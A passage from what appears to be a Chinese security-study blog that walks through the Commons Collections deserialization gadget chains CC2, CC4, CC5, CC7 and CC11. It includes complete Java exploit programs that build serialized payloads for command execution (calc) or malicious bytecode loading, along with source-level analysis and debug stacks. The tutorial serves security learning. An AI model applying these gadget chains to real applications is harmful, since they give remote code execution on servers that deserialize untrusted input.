transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

触发transform()

这里引入了一个新类,CC4.0下的TransformingComparator类,他的compare方法调用了transform函数

这里只需要通过构造函数传入对应的invokeTransformer对象就能执行this.transformer.transform(obj1),再将obj1参数传入为templatesImpl对象,就能执行该对象的newInstance方法,然后触发类加载

触发compare()

PriorityQueue,这里又要引入一个新的类,这是一个关于队列的实现类

他的siftDownUsingComparator方法触发了compare方法,这里就需要将comparator修改成前面的TransformingComparator,然后将x或者c修改成TemplatesImpl恶意对象

可以看到这里传入的x,就是队列中的第一个参数,然后将它与另外第二个对象进行比较,所以这里理论上就只需要队列的第一个元素设置成恶意的templatesimpl对象就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

触发siftDownUsingComparator()

到这里气死应该从PriorityQueue类的readObject然后顺着看链子要好一点,这里为了文章连贯性所以就倒着往上写,自己理解的时候可以顺着看

在siftDown这个方法里面调用了siftDownUsingComparator方法,前提是要有comparator的情况下,这里前面已经提到了,直接通过构造函数添加就行

触发siftDown()

再往上就到了heapify方法这里,通过这个函数我们可以知道要想触发siftDown以及后面的操作必须要这个队列里面有至少两个元素,这里可以计算一下,如果size是1的话,1右移1位就是0,0-1就是-1,而-1是不大于等于0的,所以至少size为2,这样计算出来的初始i值就是0,然后才能进入siftDown方法

链首-PriorityQueue

最终就到了PriorityQueue这个类的readObject方法,也是整条链子的首部,他在最后的时候调用了heapify方法,到此整条链子也就完成了,exp里面也没有其他好说的

这里设置成ConstantTransformer(1)前面也提到过,防止序列化的时候弹出计算器

注意点

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。

调用流程图

CC4

CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"pysnow");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注意点

因为只是invokeTransformer不能用了,所以可以使用CC3中的InstantiateTransformer类代替,链子的其他部分不变,直接照抄CC1的就行,其他的也没什么好分析的了

调用流程图

CC5

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "pysnow");
lazyMap.remove("pysnow");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);

Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(bad,tiedMapEntry);

serialize(bad);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

触发getValue()

CC5这条链就是CC6的翻版,CC6不是用的TieMapEntry的hashcode方法

进入getValue方法,然后getValue方法又存在

触发xxx.get()的操作,就可以跟CC1后半段连接起来

当时我们在调试CC6的时候提到过,不仅TieMapEntry的hashcode方法能触发getValue,TieMapEntry的toString方法也能触发getValue(),当时在动态调试链子提到过,因为IDEA的debug会自动触发TieMapEntry.toString()为了方便把调试信息展示出来

所以现在就成了怎么寻找自动触发toString方法的对象

触发toString()

这里要引入一个新的类,javax.management.BadAttributeValueExpException

这个类的代码不多,就一个构造函数一个toString和readObject,可以看到在readObject里面如果val属性的值对象不是八大基础类型就会自动触发val的toString方法,所以我们只需要将TieMapEntry对象赋值给val属性就能自动触发TieMapEntry的toString方法

这种通过BadAttributeValueExpException触发任意对象的toString方法的操作在其他链子也经常用到,可以记一下

注意点

这里没有直接通过构造函数赋给BadAttributeValueExpException的val值,而是通过反射,大家可以自己操作一下,直接通过构造函数赋值会触发val的toString操作

动态调试

首先运行到BadAttributeValueExpException的readObject,执行到toString,这里的val属性值为TieMapEntry

接着就到了TieMapEntry的toString方法,

接着进入getValue方法,里面执行Lazymap的get方法

get里面因为map为空所以就进入transform方法,执行chainedTransformer对象的transform方法,后面命令执行的流程就不用我多说了

这里看下调用堆栈写出流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:132, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:44, CC5 (CC)
main:36, CC5 (CC)

调用流程图

CC7

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

触发get()

这里我依旧是导致找链子,然后顺着调试链子,这样要好理解一点

CC7还是一样的触发Lazymap的get方法然后调用transform链进行命令执行

我们在AbstractMap这个类的equals方法找到了get方法的调用,为什么用的equals,因为这个方法非常常见,用来比较两个对象,然后我们分析一下这个equals方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

大概看下这个equals的逻辑可以知道,首先是判断要比较的对象,也就是传入的参数是否是继承的Map对象,然后判断两个Map的大小是否一样如果不一样就可以直接说明这两个是不同的Map对象,接着开始遍历自身这个Map,然后遍历其中的key,然后将这个key对应的value与传入的Map通过get(key)的方式获取的value进行比较,这里就调用了要比较对象的get对象

这里思路就很明显了,将要比较的Map对象设置成Lazymap对象就能触发他的get方法,进入transform命令执行

触发AbstractMap.equals

但是这里有个问题就是这个AbstractMap类是不允许序列化和反序列化的,所以我们就需要从他的实现类里面找到那里有调用了这个AbstractMap的equals方法的

既然是要比较Lazymap对象,那我们直接从Lazymap这个类下手,看看他的equals方法怎么实现的

我们通过搜索发现Lazymap这个类并没有实现equals方法,那我们就从他的父类下手

AbstractMapDecorator

可以看到AbstractMapDecorator的equals方法调用了map属性的equals方法,将equals比较对象的操作继续委托到了上一级

可以看到这里的map属性是Hashmap,所以说最终是使用了Lazymap,这里是因为Lazymap装饰的Hashmap,也就说传入AbstractMapDecorator对象中的map属性就是Hashmap,所以说这里AbstractMapDecorator的equals方法中调用的Hashmap的equals对象,而这个参数object还是Lazymap

接着我们可以看到Hashmap就是前面触发xxx.get()的AbstractMap的实现类,接着我们可以发现Hashmap也是没有实现equals方法,虽然大家在搜索的时候可以搜索到一个equals方法

这个其实Hashmap里面的一个静态内部类Node的equals方法,这里我们调用不进去,所以说在比较Hashmap对象的时候他会往上找AbstractMap的equals方法

这里也就到了前面的触发get()那一部分了

所以最终我们可以通过调用被Lazymap修饰的Hashmap对象,通过调用Lazymap对象的equals方法跳到Lazymap的父类AbstractMapDecorator的equals方法区,而这个equals方法的代码实现其实委托到了Lazymap修饰的Map的对象里面去,也就是说委托Hashmap来实现比较equals,其实这样很好理解,Lazymap对象就是一个起修饰作用的类,真正代表这个map对象的是Hashmap等这种有具体实现的数据结构类

而Hashmap的equals方法就调用的AbstractMap.equals,而这个方法中会调用比较对象也就是传入参数的get方法。

这里就有一个问题,为什么我们不直接调用Hashmap的equals方法,Hashmap这个类不也能序列化吗,而且Hashmap调用到equals那就只有一步

实际上是可以的,我们只需要将Hashtable的第一个元素修改成Hashmap,第二元素不变还是Lazymap,就可以省去AbstractMapDecorator.equals()这一步,直接调用AbstractMap.equals()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap1.put("yy",1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(hashMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}

这里建议等后面看完链子整体之后再来看这里

触发Lazymap.equals

这里就要引入一个新的类了,Hashtable,也是整条链子的链首

在这个类的reconstitutionPut方法里面存在e.key.euqals的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

我们先理解一下这个函数,首先传入的参数有三个,Entry类型的tab,一个Key一个Value

然后首先计算key参数的hashcode值,接着就是将hash值进行最高位变为0,也就是取绝对值,因为索引都是非负数,然后将这个非负哈希值模上tab的长度,这个就是Hashtable取索引的具体实现,使用哈希值确定一个对象在哈希表中的位置

接着遍历tab表里面是否有与传入的key的hash值相同的键,如果有则抛出异常,因为这在反序列化过程中是不存在的,毕竟在序列化生成的时候就没有hash冲突的键,反序列就不可能有了,所以报错

接着如果没有找到相同键那就开始插入操作,将新建的Entry对象插入到tab[index]里面,指定好hash值,最后count计算器++

看完整个函数我们可以猜测一下这个reconstitutionPut函数的作用,其实就是按照哈希表的规则,将给定的键值对插入到哈希表中。在插入之前,它进行了一系列的检查,确保键值对的有效性,并避免重复插入相同的键。而这个操作也就是反序列化恢复Hashtable对象的操作

分析完和这个函数我们就需要从反序列化上分析了,怎么能够调用到e.key.equals(key)这部分代码中

这是在一个if判断语句里面,且是用&&连接的,所以需要&&前面的条件为true才会执行到后面的判断语句,所以说我们需要给这个Hashtable传入两个hash值相同的map,这里能不能传入两个相同的Map对象呢,很明显这个在逻辑上是不允许的,因为table这个数据结构就是要求的不重复,所以我们需要找到两个key不相同,但是hash值相同的两个键,这就涉及到hashcode碰撞的知识

触发reconstitutionPut()

前面已经分析得很明了了,这个就是反序列化恢复Hashtable对象键值对的函数,那可以就在这个Hashtable类的readObject方法里面有调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

这里后面部分代码其实就是遍历每个元素,然后将每个键值传入到reconstitutionPut函数中将他们添加到重构后的table表里面。每次循环都会更新table的内容,而reconstitutionPut函数会根据hash值添加元素

到这里就分析完了,感觉这条链子还是比较有意思的,特别是把每一步分析透彻之后

注意点

hashcode碰撞

这里为什么要将两个Lazymap对象的键值对设置成yy和zZ,这是因为在前面reconstitutionPut函数里面需要这两个key也就是这两个Lazymap的hash值要相同,Lazymap的hash值就是通过它修饰的Hashmap计算,而Hashmap的hashcode是通过AbstractMap的hashcode方法来计算

这个hashcode函数计算hash值的方法就是将每个Entry元素的hash值进行累加,而这个Hashmap就只有一个Entry

而这个Entry的hash值计算方法就是Hashmap内部类Node的hashcode方法,他其实就是将键的hash值和value值的hash值进行异或,所以说两个Hashmap对象都只有一个元素,并且那一个元素的值都为相同的整数,唯一不同的就是键名使用了不同的String字符串,一个是yy一个是zZ,但是最终计算出来的两个hashcode相同,那就说明这个hashcode碰撞点就出现在String对象上,这里我将另外写篇文章讲解String类型的hashcode碰撞

hashcode碰撞

Lazymap对象remove前一个键值

这里为什么需要在put完之后remove掉yy键,而且Lazymap对象不是就只put进一个zZ,1的键值对吗,就算有为什么要remove掉?

首先这个还是之前CC6遇到的老问题,只不过这次出到了Hashtable上,在Hashtable进行put第二个Lazymap对象的时候会触发Lazymap的get方法,触发一次链子,然后将yy这个键值对put进第二个Lazymap对象中

到这里就调用了第二个Lazymap对象的get方法了,其中key为yy

在这个第二Lazymap执行完transform之后就将yy,1这个键值对插入到他自己里面了

到这一步这个Lazymap2对象就不是原来的对象了,所以导致反序列化的时候就不能是两个Lazymap对象的hash值相同,所以我们需要再Hashtable哈希表put完第二个Lazymap对象之后主动去remove掉这个yy键值对

修改chainedTransformer对象的iTransformers属性

至于这最后一个问题只要前面remove那个注意点看懂就知道为什么这里需要修改iTransformers属性了,这是因为在序列化时,Hashtable的put方法里面会触发一次链子,所以我们需要在put之前给chainedTransformer这个对象设置成一个人畜无害的对象,等到put完之后再将这个 chainedTransformer设置成恶意的,只要执行transform方法就能命令执行的对象。所以就是一个为了防止序列化话是弹计算器的操作,前面的链子也经常用到过

调用流程图

CC11

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package CC;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "pysnow");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

lazyMap.remove(templates);
// 在 put 之后通过反射修改值
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, invokerTransformer);

// serialize(expMap);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

注意点

其实CC链把CC1-7学完就基本已经结束了,后面的CC链基本就是根据前面的CC1-7进行排列组合,组合出适用性更高的链子,这里的CC11其实就是CC2和CC6的组合,使用CC2的后半段,通过templatesImpl的transformer方法命令执行,然后拼接上CC6的前半段,使用TieMapEntry的hashcode方法触发getValue方法,通过getValue方法调用Lazymap的get方法最终执行到transform方法跟前面TemplatesImpl那一截连接起来

总结

接着我们回顾一下CC1-7这七条链子,我们学习的顺序是1-6-3-2-4-5-7

首先是CC1,他有两条链子,一条TransformMap,利用了TransformMap的checkValue里面调用了transform方法,然后配合上AnnotationInvocationHandler这个类调用MapEntry进行的利用,另外一条Lazymap链子这时候ysoserial这个工具使用的链子,他是用的Lazymap类对Hashmap进行装饰,通过调用它的get方法进行触发transform,这一段链子在其他CC链中也经常用到,只是这里触发get方法使用的是AnnotationInvocationHandler,通过它的invoke方法触发,而invoke方法时动态代理自动调用的一个方法。

接着是CC6,因为高版本jdk对AnnotationInvocationHandler类进行许多限制导致我们需要从其他地方找到触发get方法的链,这里就使用了TieMapEntry这个类的hashcode方法,他的hashcode方法调用了getValue,而getValue里面又调用了get方法,至于怎么调用hashcode方法就不用我多赘述了,直接使用Hashmap就行,这条链子将后面的invokeTransform改成templatesImpl命令执行就成了CC11,这个链子的利用范围更加广

接着就是CC3,他主要对命令执行的地方做出了修改,使用了TemplatesImpl动态加载字节码的这一特性,只要执行TemplatesImpl的newInstance就能调用define加载我们的字节码,当然这里再往上还有个getOutxxx方法,在后面Fastjson会提到

然后就是CC2和CC4,他们都是针对CommonCollections4的利用链,使用了CC4.0的一个队列类,通过TransformComparator的compare方法调用transform,然后比较两个ChainedTransformer达到命令执行效果,CC2是针对CC4.0的,而CC4则是针对CC4.0的其他高版本,他将templatesimpl那条链给优化成只需要调用Trfilter的构造函数就能触发newInstance方法,而这个触发构造函数的InstantiateTransformer类也就规避了使用InvokeTransformer方法

然后是CC5,他是CC6的延伸,CC6使用的是TieMapEntry的hashcode方法,而CC5则使用了他的toString方法,这两个方法都能触发Lazymap的get方法,而这里用来触发的toString方法的BadAttributeValueExpException类在后面其他反序列化也经常用到

最后是CC7,他和前面的链子不同的是引入了Hashtable,利用Hashtable换源元素使会进行equals比较的特点触发Hashmap的equals方法,而equals方法中会调用要比较的元素的get方法,获取其value值,这里就触发到了Lazymap的get方法

总的来说CC链把CC1-7就够了,其他链子都是根据这七条链子进行排列组合,当然还有一些新链子,引入了各种类,到时候遇到了再学习